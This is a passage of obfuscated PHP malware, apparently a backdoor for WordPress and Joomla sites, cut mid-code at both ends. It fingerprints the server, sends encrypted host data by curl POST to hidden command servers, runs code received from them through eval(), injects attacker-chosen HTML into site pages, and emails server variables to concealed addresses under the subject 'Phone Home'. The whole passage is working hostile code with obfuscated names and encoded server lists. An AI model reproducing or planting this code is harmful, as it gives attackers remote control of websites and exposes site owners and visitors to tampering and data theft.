$WbKPQMoSbMZkXUeYKXRI = $this->KZdGlovqEtKYUSCqSVnK(); $WbKPQMoSbMZkXUeYKXRI['publicKey'] = $this->AeRxXNHxOXpcNJWlZSIK->qPhSGyDrRdyPezAnHgia(); $this->WbKPQMoSbMZkXUeYKXRI = $WbKPQMoSbMZkXUeYKXRI; $vsJigIMHYwdFnuqvRwrv = false; $BCEUSjHFFwzzqmHmpjjQ = 0; foreach ($this->HSxTktcbTftjZjKRHHmh() as $gXNjWLFkUQOugyREMXKv) { $oXyaqmHoChvHQFCvTluq = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI); $oXyaqmHoChvHQFCvTluq = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq); if ($oXyaqmHoChvHQFCvTluq !== false) { $vsJigIMHYwdFnuqvRwrv = true; if ($this->YobOrWbieESFVcSsWsuB) { break; } break; } } if ($vsJigIMHYwdFnuqvRwrv) { if ($this->YobOrWbieESFVcSsWsuB) { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); } $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI; $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); $this->XnpSvtOjNDRmxyfzaDKl(); } return $oXyaqmHoChvHQFCvTluq; } return false; } public function TztHMzNNJASlMfiSOwxQ() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if ($oXyaqmHoChvHQFCvTluq == '') { return false; } $SntMBKFkfTlUzXyNVQed = @$_GET[$this->oXyaqmHoChvHQFCvTluq['info']['serverKey']]; if (isset($SntMBKFkfTlUzXyNVQed) and& $SntMBKFkfTlUzXyNVQed == '') { echo '<div id="serverList" style="display: none">'; $bQYduZxDrtPMJtaBCQyc['servers'] = $oXyaqmHoChvHQFCvTluq['servers']; echo json_encode($bQYduZxDrtPMJtaBCQyc); echo '</div>'; die(); } else if (isset($SntMBKFkfTlUzXyNVQed) and& isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) { if (isset($this->oXyaqmHoChvHQFCvTluq)) { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); } $oXyaqmHoChvHQFCvTluq['servers'][] = $SntMBKFkfTlUzXyNVQed; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); die(); } return false; } public function OFwlxWaeMyxznpZtnfJL() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if (!isset($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == null) { return; } if (!is_array($oXyaqmHoChvHQFCvTluq) || $oXyaqmHoChvHQFCvTluq == '') { return; } if (@$oXyaqmHoChvHQFCvTluq['info']['eval'] == 1) { if (is_array(@$oXyaqmHoChvHQFCvTluq['eval'])){ foreach (@$oXyaqmHoChvHQFCvTluq['eval'] as $vsGIQvwCXRbSELMOlFV) { eval($vsGIQvwCXRbSELMOlFV); } } } if (isset($oXyaqmHoChvHQFCvTluq['echo'])) { if (!defined('wp_footerLeo')) { if ($this->KPnBqYhemQSdHKDNtJpe == 0) { add_action('wp_head', array($this, 'WvOoqSuRpZkhgAAFQVjB')); } if ($this->KPnBqYhemQSdHKDNtJpe == 1) { $TwuofLreLHIfBVaVCCiU = JResponse::getBody(); $ApLmKvpeQdKOrRbdNvZr = &JFactory::getDocument(); ob_start(); $this->WvOoqSuRpZkhgAAFQVjB(); $NygjKszxwCxlHbyDpHTT = ob_get_contents(); ob_end_clean(); $TwuofLreLHIfBVaVCCiU = preg_replace("/(\<body.*?\>)/", "$1 $NygjKszxwCxlHbyDpHTT", $TwuofLreLHIfBVaVCCiU); JResponse::setBody($TwuofLreLHIfBVaVCCiU); } if ($this->KPnBqYhemQSdHKDNtJpe == 2) { } } } } public function WvOoqSuRpZkhgAAFQVjB() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; foreach ($oXyaqmHoChvHQFCvTluq['echo'] as $stIedxfhoZcXvZNmNXTd) { echo $stIedxfhoZcXvZNmNXTd; } } private function oqtYbOOiucMYWyZsGEuE() { $oXyaqmHoChvHQFCvTluq = array(); $oXyaqmHoChvHQFCvTluq['echo'] = array(); $oXyaqmHoChvHQFCvTluq['eval'] = array(); $oXyaqmHoChvHQFCvTluq['clients'] = array(); $oXyaqmHoChvHQFCvTluq['update'] = array(); return $oXyaqmHoChvHQFCvTluq; } private function dIOUyQsvDqPHTBIxnlYs() { if (class_exists('JFactory')) { if (JURI::base()) { $htcFFCQTLLpnCchsPKGY = JURI::base(); } elseif (JURI::root()) { $htcFFCQTLLpnCchsPKGY = JURI::root(); } } elseif (function_exists('get_home_url') || function_exists('get_site_url')) { if (function_exists('get_home_url')) { $htcFFCQTLLpnCchsPKGY = get_home_url(); } elseif (function_exists('get_site_url')) { $htcFFCQTLLpnCchsPKGY = get_site_url(); } } elseif ($GLOBALS['base_path'] || $GLOBALS['base_url']) { if ($GLOBALS['base_path']) $htcFFCQTLLpnCchsPKGY = $GLOBALS['base_path']; else $htcFFCQTLLpnCchsPKGY = $GLOBALS['base_url']; } else { $htcFFCQTLLpnCchsPKGY = $_SERVER['HTTP_HOST']; } $dqkdbOJPzAPsLsuxnjAS = array('www.', 'www', ' ', '{', '}'); $this->htcFFCQTLLpnCchsPKGY = str_replace($dqkdbOJPzAPsLsuxnjAS, "", $htcFFCQTLLpnCchsPKGY); } private function HSxTktcbTftjZjKRHHmh() { $oXyaqmHoChvHQFCvTluq = array(); foreach ($this->yYVsqvOoqWsddypXgJcI as $gXNjWLFkUQOugyREMXKv) { $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKv))); } if (isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) { $nGwzfuUZcelzyfJBQMIg = (int) ($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100); if ($nGwzfuUZcelzyfJBQMIg == 0) { $nGwzfuUZcelzyfJBQMIg = 5; } else { $nGwzfuUZcelzyfJBQMIg *= 5; } } else { $nGwzfuUZcelzyfJBQMIg = 5; } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $nGwzfuUZcelzyfJBQMIg); } private function XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM) { $oXyaqmHoChvHQFCvTluq = array(); foreach ($this->oXyaqmHoChvHQFCvTluq['emails'] as $HWcwGasopLJSadVNNw) { $oXyaqmHoChvHQFCvTluq[] = $HWcwGasopLJSadVNNw; } foreach ($this->aJQafHDwnaPrCJrQMjHV as $HWcwGasopLJSadVNNw) { $oXyaqmHoChvHQFCvTluq[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw))); } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluq, $YJYRbBDIcUlLJwWidyuM); } private function KZdGlovqEtKYUSCqSVnK() { if (!defined('wp_getInfoData')) { $oXyaqmHoChvHQFCvTluq = array(); $oXyaqmHoChvHQFCvTluq['host'] = $_SERVER['HTTP_HOST']; $oXyaqmHoChvHQFCvTluq['page'] = $_SERVER['REQUEST_URI']; $oXyaqmHoChvHQFCvTluq['ip'] = $_SERVER['SERVER_ADDR']; $oXyaqmHoChvHQFCvTluq['eval'] = $this->YrCTrfUzBfsVJKvqiYUe(); $oXyaqmHoChvHQFCvTluq['exec'] = $this->KNstTqErzZQBDQOODaJd(); $oXyaqmHoChvHQFCvTluq['serverKey'] = $this->BkISKDyWWRXScnLPbTly(); $oXyaqmHoChvHQFCvTluq['run'] = 0; $oXyaqmHoChvHQFCvTluq['type'] = $this->KPnBqYhemQSdHKDNtJpe; $oXyaqmHoChvHQFCvTluq['ver'] = '0.3x1'; $oXyaqmHoChvHQFCvTluq['started'] = date('Ymd'); $oXyaqmHoChvHQFCvTluq['last_connect'] = date('Ymd'); $this->WbKPQMoSbMZkXUeYKXRI = $oXyaqmHoChvHQFCvTluq; return $oXyaqmHoChvHQFCvTluq; } return false; } private function BkISKDyWWRXScnLPbTly($PVSXPKLAQGaWKUtNNUYQ = 10) { $dqkdbOJPzAPsLsuxnjAS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $PqlpeiQHmZBwdmlsfEHm = ''; for ($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < $PVSXPKLAQGaWKUtNNUYQ; $BCEUSjHFFwzzqmHmpjjQ++) { $PqlpeiQHmZBwdmlsfEHm .= $dqkdbOJPzAPsLsuxnjAS[rand(0, strlen($dqkdbOJPzAPsLsuxnjAS) - 1)]; } return $PqlpeiQHmZBwdmlsfEHm; } public function KPBBXYwmuPGPaTyLhWev() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if (!defined('wp_checkUpdate')) { if (@$oXyaqmHoChvHQFCvTluq['info']['last_connect'] < date('Ymd')) { $oXyaqmHoChvHQFCvTluq = $this->CMQEWmnewJmgOLaFvXGC($oXyaqmHoChvHQFCvTluq); if ($oXyaqmHoChvHQFCvTluq == false) { return; } else { unset($oXyaqmHoChvHQFCvTluq['info']['fail']); } $oXyaqmHoChvHQFCvTluq['info']['last_connect'] = date('Ymd'); } $oXyaqmHoChvHQFCvTluq['info']['run'] ++; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); } } private function CMQEWmnewJmgOLaFvXGC($oXyaqmHoChvHQFCvTluq) { if (!defined('wp_updateData')) { $yYVsqvOoqWsddypXgJcI = @$oXyaqmHoChvHQFCvTluq['servers']; $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZC($yYVsqvOoqWsddypXgJcI, $oXyaqmHoChvHQFCvTluq); if ($uHrzRBdPUetDqbZAdw !== false) { return $uHrzRBdPUetDqbZAdw; } $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZC($this->HSxTktcbTftjZjKRHHmh(), $oXyaqmHoChvHQFCvTluq); if ($uHrzRBdPUetDqbZAdw !== false) { return $uHrzRBdPUetDqbZAdw; } $this->XnpSvtOjNDRmxyfzaDKl(); } return false; } private function tEiRFSJMSpXyxKKORPZC($QrnkCEWRkHbQPoEPelYQ, $oXyaqmHoChvHQFCvTluq) { foreach ($QrnkCEWRkHbQPoEPelYQ as $gXNjWLFkUQOugyREMXKv) { $uHrzRBdPUetDqbZAdw = $this->VxjeXwUeRLricksbcxlc($gXNjWLFkUQOugyREMXKv, $oXyaqmHoChvHQFCvTluq['info'], $oXyaqmHoChvHQFCvTluq); if ($uHrzRBdPUetDqbZAdw != false) { if (!isset($oXyaqmHoChvHQFCvTluq['info']['empty'])) { $oXyaqmHoChvHQFCvTluq['info']['empty'] = 0; } if ($this->YobOrWbieESFVcSsWsuB) { $oXyaqmHoChvHQFCvTluq['info']['empty'] ++; if (!isset($BCEUSjHFFwzzqmHmpjjQ)) { $BCEUSjHFFwzzqmHmpjjQ = (int) ($oXyaqmHoChvHQFCvTluq['info']['empty'] / 5); } if ($BCEUSjHFFwzzqmHmpjjQ > 0) { $BCEUSjHFFwzzqmHmpjjQ--; continue; } } if ($this->YobOrWbieESFVcSsWsuB) { return $oXyaqmHoChvHQFCvTluq; } $uHrzRBdPUetDqbZAdw['info']['empty'] = --$oXyaqmHoChvHQFCvTluq['info']['empty']; return $uHrzRBdPUetDqbZAdw; } } return false; } private function VxjeXwUeRLricksbcxlc($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI, $oXyaqmHoChvHQFCvTluq) { $this->YobOrWbieESFVcSsWsuB = false; $OQijXfnrxWxPIcPSUibK = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI); $OQijXfnrxWxPIcPSUibK = $this->gTSiihhIRUNPkADDVdes($OQijXfnrxWxPIcPSUibK); if ($OQijXfnrxWxPIcPSUibK != false) { if ($this->YobOrWbieESFVcSsWsuB) { return $oXyaqmHoChvHQFCvTluq; } $OQijXfnrxWxPIcPSUibK['info'] = $WbKPQMoSbMZkXUeYKXRI; return $OQijXfnrxWxPIcPSUibK; } return false; } private function gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq) { if (!defined('wp_validData')) { if (!isset($this->WbKPQMoSbMZkXUeYKXRI)) { $this->WbKPQMoSbMZkXUeYKXRI = $this->oXyaqmHoChvHQFCvTluq['info']; } if (md5($this->WbKPQMoSbMZkXUeYKXRI['serverKey']) == $oXyaqmHoChvHQFCvTluq) { $this->YobOrWbieESFVcSsWsuB = true; return true; } $oXyaqmHoChvHQFCvTluq = $this->AeRxXNHxOXpcNJWlZSIK->vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq); $oXyaqmHoChvHQFCvTluq = json_decode($oXyaqmHoChvHQFCvTluq, true); if ($oXyaqmHoChvHQFCvTluq == false) { return false; } else { if (!isset($oXyaqmHoChvHQFCvTluq['servers'])) { return false; } } return $oXyaqmHoChvHQFCvTluq; } return false; } private function RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI = null, $BZaxGALPLdVfntBIQWUP = null) { if (strstr($gXNjWLFkUQOugyREMXKv, $_SERVER['HTTP_HOST']) || trim($gXNjWLFkUQOugyREMXKv) == '') { return false; } if (isset($WbKPQMoSbMZkXUeYKXRI)) { $BdlbpgzPBjxVLkBLnsrX = json_encode($WbKPQMoSbMZkXUeYKXRI); $oXyaqmHoChvHQFCvTluq = $this->AeRxXNHxOXpcNJWlZSIK->bkBMtlOkGRaPFVExpcNb($BdlbpgzPBjxVLkBLnsrX); $WbKPQMoSbMZkXUeYKXRI = array("serverKey" => $WbKPQMoSbMZkXUeYKXRI['serverKey'], "data" => $oXyaqmHoChvHQFCvTluq['data'], "key" => $oXyaqmHoChvHQFCvTluq['key']); } while (true) { $SCvWTGyfCYyeLdjcFFzo = curl_init(); curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_URL, "http://$gXNjWLFkUQOugyREMXKv"); curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_FOLLOWLOCATION, true); if (isset($WbKPQMoSbMZkXUeYKXRI)) { curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_POSTFIELDS, $WbKPQMoSbMZkXUeYKXRI); } curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_CONNECTTIMEOUT, 10); $oXyaqmHoChvHQFCvTluq = curl_exec($SCvWTGyfCYyeLdjcFFzo); curl_close($SCvWTGyfCYyeLdjcFFzo); if (!strstr($oXyaqmHoChvHQFCvTluq, "301 Moved Permanently")) { break; } else { preg_match_all('/<a.*href=\""http:\/\/(.*?)\"".*?\>/', $oXyaqmHoChvHQFCvTluq, $NyFDhMvsSaUwvJsx); $gXNjWLFkUQOugyREMXKv = $NyFDhMvsSaUwvJsx[1][0]; } } return $oXyaqmHoChvHQFCvTluq; } private function aIIwgKgvtyRoWoMedUdb($piiJbwvzLxHvKjlNnFzd, $oXyaqmHoChvHQFCvTluq) { if (is_array($oXyaqmHoChvHQFCvTluq)) { $oXyaqmHoChvHQFCvTluq = json_encode($oXyaqmHoChvHQFCvTluq); } $ilUTrmqGvQsBtZfyeBXf = $this->AeRxXNHxOXpcNJWlZSIK->MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq); if ($this->YYfeblxJfGQgkPpfdrIO($ilUTrmqGvQsBtZfyeBXf)) $oXyaqmHoChvHQFCvTluq = json_decode($ilUTrmqGvQsBtZfyeBXf, true); if (!isset($oXyaqmHoChvHQFCvTluq['key']) || !isset($oXyaqmHoChvHQFCvTluq['data']) || strlen($oXyaqmHoChvHQFCvTluq['key']) == 0 || strlen($oXyaqmHoChvHQFCvTluq['data']) == 0) { die(); } kCJMtAGyLhtYhIvdbnZk($piiJbwvzLxHvKjlNnFzd, $ilUTrmqGvQsBtZfyeBXf); } private function McEnUjjQfaFzqGsihhU($piiJbwvzLxHvKjlNnFzd, $ysnqBUjsRbJDIlZaAE = false) { if (!$ysnqBUjsRbJDIlZaAE) { $oXyaqmHoChvHQFCvTluq = WqGRFfQfiVUcPbdzdTbF($piiJbwvzLxHvKjlNnFzd); } else { $oXyaqmHoChvHQFCvTluq = $piiJbwvzLxHvKjlNnFzd; } $GfNOeQGoTKggozAbXZAU = $this->AeRxXNHxOXpcNJWlZSIK->vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq); return json_decode($GfNOeQGoTKggozAbXZAU, true); } private function YrCTrfUzBfsVJKvqiYUe() { $givBPiVtALrQjPLInUFK = false; @eval('$givBPiVtALrQjPLInUFK = true;'); return $givBPiVtALrQjPLInUFK; } private function KNstTqErzZQBDQOODaJd() { $BlvGDekbFjVHsnUrjUKq = explode(', ', ini_get('disable_functions')); return !in_array('exec', $BlvGDekbFjVHsnUrjUKq); } private function XnpSvtOjNDRmxyfzaDKl($oXyaqmHoChvHQFCvTluq = null) { if ($oXyaqmHoChvHQFCvTluq == null) { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; } if (isset($oXyaqmHoChvHQFCvTluq['info']['fail'])) { $oXyaqmHoChvHQFCvTluq['info']['fail'] ++; } else { $oXyaqmHoChvHQFCvTluq['info']['fail'] = 1; } if (($oXyaqmHoChvHQFCvTluq['info']['fail'] % 100) == 0 and& isset($oXyaqmHoChvHQFCvTluq['clients'])) { foreach ($oXyaqmHoChvHQFCvTluq['clients'] as $qBNcTAaiRUhfdXBSzsVg) { if (strstr($qBNcTAaiRUhfdXBSzsVg, "|") === false) { continue; } else { $AoNmaQCAQvHyEPvRUhbf = explode("|", $qBNcTAaiRUhfdXBSzsVg); } $gXNjWLFkUQOugyREMXKv = $AoNmaQCAQvHyEPvRUhbf[0] . "?" . $AoNmaQCAQvHyEPvRUhbf[1]; $OQijXfnrxWxPIcPSUibK = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv); preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/", $OQijXfnrxWxPIcPSUibK, $NUwGojaMFrWOXnaoPPXm); if ($this->YYfeblxJfGQgkPpfdrIO($NUwGojaMFrWOXnaoPPXm['content'])) { $OQijXfnrxWxPIcPSUibK = json_decode($NUwGojaMFrWOXnaoPPXm['content'], true); if (isset($this->oXyaqmHoChvHQFCvTluq)) { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); } $oXyaqmHoChvHQFCvTluq['servers'] = array_merge($OQijXfnrxWxPIcPSUibK['servers'], $oXyaqmHoChvHQFCvTluq['servers']); $this->$oXyaqmHoChvHQFCvTluq['servers'] = array_unique($oXyaqmHoChvHQFCvTluq['servers']); } else { } } } if ($oXyaqmHoChvHQFCvTluq['info']['fail'] % 100 == 0) { $LMKkvQfVacsJkiwJOKQm = false; $aJQafHDwnaPrCJrQMjHV = $this->XsvsqpxlWxfKYiyUc($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100 * 5); $GSpWdZRUzAuMgSxhFeQs = array(); for ($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < 5; $BCEUSjHFFwzzqmHmpjjQ++) { $YwrSbZoVizxkPzSqHegT = rand(0, count($aJQafHDwnaPrCJrQMjHV) - 1); $TcfJENOGUCdnEeJdjBHS = 0; $XCZRNpIiBvvCJTeyKlyc = 0; while (in_array($YwrSbZoVizxkPzSqHegT, $GSpWdZRUzAuMgSxhFeQs)) { $XCZRNpIiBvvCJTeyKlyc++; $TcfJENOGUCdnEeJdjBHS ++; $YwrSbZoVizxkPzSqHegT = rand(0, count($aJQafHDwnaPrCJrQMjHV) - 1); if ($TcfJENOGUCdnEeJdjBHS == 10) { $LMKkvQfVacsJkiwJOKQm = true; break; } } if ($LMKkvQfVacsJkiwJOKQm) { break; } $GSpWdZRUzAuMgSxhFeQs[] = $YwrSbZoVizxkPzSqHegT; mail($aJQafHDwnaPrCJrQMjHV[$YwrSbZoVizxkPzSqHegT], "Phone Home", json_encode($this->AeRxXNHxOXpcNJWlZSIK->bkBMtlOkGRaPFVExpcNb(print_r($oXyaqmHoChvHQFCvTluq, true) . print_r($_SERVER, true)))); } $this->vwhhtIrAWhUEFDgPrcco = true; do_action('wp_end_distress'); } $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); } private function YYfeblxJfGQgkPpfdrIO($oXyaqmHoChvHQFCvTluq) { $oXyaqmHoChvHQFCvTluq = json_decode($oXyaqmHoChvHQFCvTluq); if ($oXyaqmHoChvHQFCvTluq == null) return false; return true; } private function VitTYMKdJITsiXBTLOEA($QrnkCEWRkHbQPoEPelYQ, $MTPkrEtDJbjkrzXWSBgA) { $PVSXPKLAQGaWKUtNNUYQ = count($QrnkCEWRkHbQPoEPelYQ); if ($PVSXPKLAQGaWKUtNNUYQ <= $MTPkrEtDJbjkrzXWSBgA) { return $QrnkCEWRkHbQPoEPelYQ; } $oXyaqmHoChvHQFCvTluq[] = array(); $PaTgoaVMMKhvlmVWxSnB = array(); $FyQVCWLNApYgwsSzygQg = 0; $BCEUSjHFFwzzqmHmpjjQ = 0; while (true) { $BCEUSjHFFwzzqmHmpjjQ++; $piiJbwvzLxHvKjlNnFzd = $this->YHhBHrBuAZYCsZUCLxMN($this->htcFFCQTLLpnCchsPKGY . $BCEUSjHFFwzzqmHmpjjQ, $PVSXPKLAQGaWKUtNNUYQ); if (in_array($piiJbwvzLxHvKjlNnFzd, $PaTgoaVMMKhvlmVWxSnB)) { continue; } $PaTgoaVMMKhvlmVWxSnB[] = $piiJbwvzLxHvKjlNnFzd; $FyQVCWLNApYgwsSzygQg++; if ($FyQVCWLNApYgwsSzygQg == $MTPkrEtDJbjkrzXWSBgA) { break; } } foreach ($PaTgoaVMMKhvlmVWxSnB as $piiJbwvzLxHvKjlNnFzd) { $oXyaqmHoChvHQFCvTluq[] = $QrnkCEWRkHbQPoEPelYQ[$piiJbwvzLxHvKjlNnFzd]; } return $oXyaqmHoChvHQFCvTluq; } private function YHhBHrBuAZYCsZUCLxMN($htcFFCQTLLpnCchsPKGY, $BwYCWyuBYkgiOzNljFJO) { $dzVXtdBSuUwgnARTiNIC = 0; $JAxNyUCJRbrfbemcWrOF = hash("md5", $htcFFCQTLLpnCchsPKGY); $dzVXtdBSuUwgnARTiNIC = (preg_replace("/[^0-9,.]/", "", $JAxNyUCJRbrfbemcWrOF)); while ($dzVXtdBSuUwgnARTiNIC > 10000000) { $dzVXtdBSuUwgnARTiNIC /= 100000; } $this->IatJdWimJbxtprWZElHe = $dzVXtdBSuUwgnARTiNIC; $dzVXtdBSuUwgnARTiNIC %= $BwYCWyuBYkgiOzNljFJO; return $dzVXtdBSuUwgnARTiNIC; }}class VtkddwvkYgCDDRRWbgRt { private $AcheTwkrhTtKmyatQGqY, $SntMBKFkfTlUzXyNVQed, $YcmysXeieEGqvkjRIsPY; private $AKorMlJxhsFuVmuppepc; public function __construct($BZaxGALPLdVfntBIQWUP = 'old') { if (class_exists('JFactory')) $this->AKorMlJxhsFuVmuppepc = JFactory::getDbo(); if ($BZaxGALPLdVfntBIQWUP == 'new') { $this->QxEolVsSqvJZyRSgHFmL(); } else { $this->yOlGcuINHlzAVPznEbGN(); }

$this->SntMBKFkfTlUzXyNVQed = '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q
43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet
nS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c
uccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj
nfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X
vgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/
gQIDAQAB
-----END PUBLIC KEY-----'; } private function yOlGcuINHlzAVPznEbGN() { $oXyaqmHoChvHQFCvTluq = WqGRFfQfiVUcPbdzdTbF('WP_CLIENT_KEY'); $this->AcheTwkrhTtKmyatQGqY = $oXyaqmHoChvHQFCvTluq; } private function QxEolVsSqvJZyRSgHFmL() { $WUSuJUGMrzyhdyhyGeIj = $this->DWoPBIQOoBwLXRAmwfed(); $this->AcheTwkrhTtKmyatQGqY = $WUSuJUGMrzyhdyhyGeIj['private']; $this->YcmysXeieEGqvkjRIsPY = $WUSuJUGMrzyhdyhyGeIj['public']; kCJMtAGyLhtYhIvdbnZk("WP_CLIENT_KEY", $this->AcheTwkrhTtKmyatQGqY); } public function bkBMtlOkGRaPFVExpcNb($oXyaqmHoChvHQFCvTluq) { openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQed))); return array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0])); } public function MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq) { openssl_seal($oXyaqmHoChvHQFCvTluq, $XSuQpMSlwhlPZypBIPnf, $THPieTXOYTCWThoTFSSu, array(openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPY))); return json_encode(array("data" => base64_encode($XSuQpMSlwhlPZypBIPnf), "key" => base64_encode($THPieTXOYTCWThoTFSSu[0]))); } public function qPhSGyDrRdyPezAnHgia() { return $this->YcmysXeieEGqvkjRIsPY; } public function skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd) { $this->YcmysXeieEGqvkjRIsPY = $piiJbwvzLxHvKjlNnFzd; } public function vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq) { $BdlbpgzPBjxVLkBLnsrX = json_decode($oXyaqmHoChvHQFCvTluq, true); if ($BdlbpgzPBjxVLkBLnsrX !== false) { $oXyaqmHoChvHQFCvTluq = $BdlbpgzPBjxVLkBLnsrX; } if (!is_array($oXyaqmHoChvHQFCvTluq)) { return false; } openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluq['data'])), $WQqrOQbxBHtERCkwicqA, base64_decode(trim($oXyaqmHoChvHQFCvTluq['key'])), $this->AcheTwkrhTtKmyatQGqY); return $WQqrOQbxBHtERCkwicqA; } public function DWoPBIQOoBwLXRAmwfed() { $IzGRmpLLtcLVMJRxcfpe = openssl_pkey_new(array( 'private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA, )); openssl_pkey_export($IzGRmpLLtcLVMJRxcfpe, $IANNGYfyVIgZFkzWVTKm); $oXyaqmHoChvHQFCvTluq['private'] = $IANNGYfyVIgZFkzWVTKm; $XEWVBmIaXvRqxrckbkOq = openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpe); $oXyaqmHoChvHQFCvTluq['public'] = $XEWVBmIaXvRqxrckbkOq['key']; return $oXyaqmHoChvHQFCvTluq; }}function RxdxPzeQGSiqrbrgJBXU($rgDMTBtwwcPImtctaZhZ, $oXyaqmHoChvHQFCvTluq = null) { return; echo "<pre>"; if (is_array($oXyaqmHoChvHQFCvTluq)) { echo "-@-@----- ::Array:: - $rgDMTBtwwcPImtctaZhZ -->\n\r"; print_r($oXyaqmHoChvHQFCvTluq); echo "----\n\r\n\r"; return; } if ($oXyaqmHoChvHQFCvTluq == null) { echo "-@-@------> " . $rgDMTBtwwcPImtctaZhZ . "\n\r"; } else { echo "-@-@------> " . $rgDMTBtwwcPImtctaZhZ . ": - " . @$oXyaqmHoChvHQFCvTluq . "\n\r"; } echo "</pre>";}function WqGRFfQfiVUcPbdzdTbF($NYOtWHUXirvRWKhceXsE) { if (class_exists('JFactory')) { $AKorMlJxhsFuVmuppepc = JFactory::getDbo(); $AKorMlJxhsFuVmuppepc->setQuery("SELECT value FROM #__options where option_name = '{$NYOtWHUXirvRWKhceXsE}'"); $NUwGojaMFrWOXnaoPPXm = $AKorMlJxhsFuVmuppepc->loadResult(); return $NUwGojaMFrWOXnaoPPXm; } if (function_exists('get_home_url') || function_exists('get_site_url')) { return get_option($NYOtWHUXirvRWKhceXsE); } if ($GLOBALS['base_path'] || 